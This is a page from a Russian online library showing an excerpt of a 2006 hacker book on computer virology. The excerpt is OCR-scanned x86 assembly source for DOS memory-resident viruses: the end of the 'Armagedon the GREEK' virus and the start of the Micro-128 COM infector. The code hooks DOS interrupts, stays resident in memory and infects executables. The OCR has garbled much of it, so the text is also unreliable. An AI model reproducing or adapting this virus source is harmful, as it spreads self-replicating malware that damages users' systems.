Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 43 44 45 46 47 48 < 49 > 50 51 52 53 54 55 .. 123 >> Следующая

lnstall_Virus ;нет? Тогда инсталлируем его jmp Alreadyjnstalled ;да?
Переходим к Alreadyjnstalled
182
ГЛАВА 4. Вирус - резидент памяти
lnstall_Virus:
push cs pop ds
mov ax,3521 ;получаем адрес int 21
int 21
mov word ptr [lnt_21_Offj,bx;сохраняем старый вектор int 21 mov word ptr
[int_21 _Seg], es mov dx,offset int_21 mov ax,2521 int 21
устанавливаем int 21
mov ax,3508
int 21 ; получаем адрес int 8
mov word ptr [lnt_08_Off],bx mov word ptr [lnt_08_Seg],es сохраняем
старые векторы mov dx,offset int_08 mov ax,2508
int 21 устанавливаем int 08
mov ah,2C
int 21 ;получаем время
mov byte ptr [save_time_a],ch mov byte ptr [save_time_b],cl ;сокраняем
время и д ату mov byte ptr [save_date],dh
mov ax,cs:[2c] ;получаем адрес блока среды и mov ds,ax ;помещаем его в
ds
xor si.si ;ds:si=Ha4ano блока среды
183
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Find_The_Filename:
mov al, [si] ;осматриваем блок сред ы и ищем
cmp al,1 дополнение программы
je Found_Fllename
inc si
jmp short Flnd_The_Fiename
Found_Filename: inc si inc si
mov dx.si ;ds:dx= имя файла
mov ax,cs
mov es,ax ;устанавливаем сегмент (es) = cs mov bx,5a ;требуем 5a0h (1440)
бейтов mov ah,4a
int 21 ;изменяем назначенную память mov bx.word ptr cs:[81] ; начало
команд ной строки
mov ax.cs
mov es,ax ;снова устанавливаем es=cs mov word ptr cs:[cs_save_1],ax mew
word ptr cs:[cs_save_2],ax ^заново штатном жертву mov word ptr
cs:[cs_save_3],ax ;чтобык*27заставил mew ax,4B00 программу перейти
резиденты mew word ptrcs;[sav8_ss],ss ;безпрерывания mov word ptr
cs:[save_sp],sp ;прогромьы pushf
;cal farcs.[lnt_2i_Off]; вызываем функцию "загрузить ;и выполнить" db
2е,Off, 16,22,01
mov ах,word ptr cs:[save_ss] mov ss.ax
184
ГЛАВА 4. Вирус - резидент памяти
mov ax.word ptr cs:[save_sp] восстанавливаем стек mov sp.ax mov ax.cs mov
ds.ax
mov dx,537 ;dx=KOHeu вируса
int 27 ;прервать и остаться резидентом
Alreadyjnstalled:
mov ah,OE1 ;получаем cs вируса в памяти int 21
mov si,offset lnstall_Jump mov cs:[si+3],ax устанавливаем прыжок mov
ax.offset After_Jump mov cs:[si+1],ax mov ax.word ptr cs:[file_size] mov
bx.cs
lnstall_Jump:
db Oea IP_For_Jump db 0,0 CS_For_Jump db 0,0
After_Jump:
mov cx.ax mov ds.bx mov si, 100
mov di,offset storage_bytes
Restore_Rle: восстанавливаем файл в памяти
mov al,[di] mov [si],al inc si
185
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
inc di
loop Restore_File mov si,offset return Jump
mov cs:[si+3],ds устанавливаем сегмент жертвы mov al.byte ptr ds:[100]
;получаем первый байт жертвы, sub al,Obh ;затем декодируем 1 -й байт mov
byte ptr ds:[100],al ;из Storage_Bytes mov ax.ds ;и восстанавливаем его
mov es,ax ;восстанавливаем es и ss, чтобы mov ss.ax указать на
ds/cs
;jmp far ptr start
;возвращаем контроль COM-файлу
returnjump:
db Oea host_offset db 00,01
host_segment db 07,13
Text_Message db 'Armagedon the GREEK'
end_main_virus:
Storage_Bytes db 0D8.20 ;кодируем первый байт end_of_vir:
word_space db 8 dup (?)
newDTA: end start
186
ГЛАВА 4. Вирус - резидент памяти
Вирус Micro-128
Это самый маленький в мире непереписывающий СОМ-ин-фектор. Он копирует
себя в таблицу прерываний и перехватывает int 21h. Прописавшись в памяти
он сохраняет адрес int 21 в поле int ЕО. Это позволяет ему вызывать int
ЕО, когда он хочет получить int 21h. Вирус использует несколько отличных
приемов, которые сделали его компактным и простым. (Micro-128
ассемблировался в другой версии TASM, поэтому следите за байтами для XOR
и комментариями.)
.model tiny .code
org 10Oh
start:
db 0e9h,03h,0 ;прыжок к Vlrus_Entry nop
int 20h
Virus_Entry: mov di,100h push di mov si.di
add si,[di+1] ;получаем офсет
movsw восстанавливаем сохраненные байты movsb
Copy_Virus:
;xor ax,ax устанавливаем es = 0 (таблица прерываний) db 31 h, OcOh
mov es.ax
mov di,303h ;пробел в таблице прерываний
187
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov cl,7Dh ;размер вируса
rep movsb копируем вирус
scasw ;es:di = О?
jnz Donejnstall ;нет? Уже инсталлирован
std ;устанавливаем флаг направления, чтобы
сохранить stosw, затем декрементируем
;si и di.
Hook_lnt_21: '
xchg ax,es:[di+0FD04h] ;DI+FD04h = 86h в первый раз и ;84h - во второй.
Это сегмент и ;офсет int 21 h соответственно stosw сохраняем старый
обработчик для
;cs__21 и ip_21.
mov ax,33Fh ; новый офсет обработчика int 21 cmc дополнительный перенос
jc Hook_int_21 ;прыжок к Hook_int_21
cld ;очищаем флаг направления
Donejnstall:
push cs ; возврат к жертве
pop es
ret
Qo_Beginning:
mov al,0 устанавливаем переход к началу файла Move_FP:
mov ah,42h перемещаем указатель файла
;хог сх.сх {обнуляем сегмент и офсет db 31h,0c9h
;xor dx.dx {переходим либо к началу, либо к концу
188
ГЛАВА 4. Вирус - резидент памяти
db 31h,0d2h int OEOh
mov cl,3 ;используется для уплотнения кода
mov dh,3
retn
db 0e9h,03h,0 ;прыжок к lnside_21
lnt_21_Handler: cmp ah,4bh lnside_21:
jnz Go_int_21 ;прыжок, если не выполнено push ах bx dx ds сохраняем
регистры
Предыдущая << 1 .. 43 44 45 46 47 48 < 49 > 50 51 52 53 54 55 .. 123 >> Следующая